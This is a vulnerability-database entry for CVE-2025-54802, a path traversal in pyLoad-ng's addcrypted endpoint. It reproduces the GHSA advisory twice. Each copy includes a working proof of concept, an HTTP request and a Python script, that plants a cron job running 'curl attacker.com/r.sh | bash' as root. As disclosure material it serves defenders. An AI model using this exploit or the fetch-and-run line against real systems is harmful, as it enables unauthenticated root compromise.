CVE-2025-54802
criticalpriority · track · 0EPSS 0.012 · 68 %ileEURUUSEPSS · scored 2026-10-23
pyLoad is the free and open-source Download Manager written in pure Python. In versions 0.5.0b3.dev89 and below, there is an opportunity for path traversal in pyLoad-ng CNL Blueprint via package parameter, allowing Arbitrary File Write which leads to Remote Code Execution (RCE). The addcrypted endpoint in pyload-ng suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. This issue is fixed in version 0.5.0b3.dev90.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (4)
Products and version ranges known to be affected.
- pyload-ng project pyload-ng= 0.5.0b3.dev89nvdUScpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:*:*:*
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-48rp-jc79-2264pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)2025-08-04ghsa · osvUS
### Summary **Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. ### Details * **Endpoint**: `POST /addcrypted` * **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py` #### Vulnerable Code ```python dlc_path = os.path.join( dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlc_path, mode="wb") as fp: ``` ### PoC ```http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107 package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA== ``` Decoded payload: ```bash * * * * * root curl -s http://attacker.com/r.sh | bash ``` **Send crafted POST** ```python import requests, base64 payload = "* * * * * root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode() requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 }) ``` ### Impact The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
- PYSEC-2026-493pyLoad CNL Blueprint allows Path Traversal through `dlc_path` which leads to Remote Code Execution (RCE)2026-06-29vendor · osvUS
### Summary **Path Traversal in pyLoad-ng CNL Blueprint via `package` parameter allows Arbitrary File Write leading to Remote Code Execution (RCE)** The `addcrypted` endpoint in `pyload-ng` suffers from an unsafe path construction vulnerability, allowing unauthenticated attackers to write arbitrary files outside the designated storage directory. This can be abused to overwrite critical system files, including cron jobs and systemd services, leading to privilege escalation and remote code execution as root. ### Details * **Endpoint**: `POST /addcrypted` * **Issue**: `src/pyload/webui/app/blueprints/cnl_blueprint.py` #### Vulnerable Code ```python dlc_path = os.path.join( dl_path, package.replace("/", "").replace("\\", "").replace(":", "") + ".dlc" ) dlc = flask.request.form["crypted"].replace(" ", "+") with open(dlc_path, mode="wb") as fp: ``` ### PoC ```http POST /addcrypted HTTP/1.1 Host: localhost:8000 Content-Type: application/x-www-form-urlencoded Content-Length: 107 package=../../../../etc/cron.d/payload&crypted=KioqICogKiAqKiByb290IGN1cmwgLXMgaHR0cDovL2F0dGFja2VyLmNvbS9yLnNoIHwgYmFzaA== ``` Decoded payload: ```bash * * * * * root curl -s http://attacker.com/r.sh | bash ``` **Send crafted POST** ```python import requests, base64 payload = "* * * * * root curl http://attacker.com/rev.sh | bash" b64 = base64.b64encode(payload.encode()).decode() requests.post("http://localhost:8000/addcrypted", data={ "package": "../../../../etc/cron.d/exploit", "crypted": b64 }) ``` ### Impact The vulnerability allows unauthenticated attackers to write arbitrary files outside the intended directory via a path traversal flaw in the `addcrypted` endpoint in `pyload-ng` parameter. when exploited, it enables remote code execution as **root** by injecting malicious cron jobs or system files, turning a simple file upload endpoint into a full system compromise vector.
also known as (8)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (11)
External citations — patches, advisories, analysis.
- https://access.redhat.com/security/cve/cve-2025-54802cnnvd
- https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4cnnvd
- https://github.com/pyload/pyload/pull/4596cnnvd
- https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264cnnvd
- https://pyload.net/Patchcnnvd
- https://github.com/pyload/pyload/commit/70a44fe02c03bce92337b5d370d2a45caa4de3d4enisa_euvd
- https://github.com/pyload/pyload/pull/4596enisa_euvd
- https://github.com/pyload/pyload/security/advisories/GHSA-48rp-jc79-2264enisa_euvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan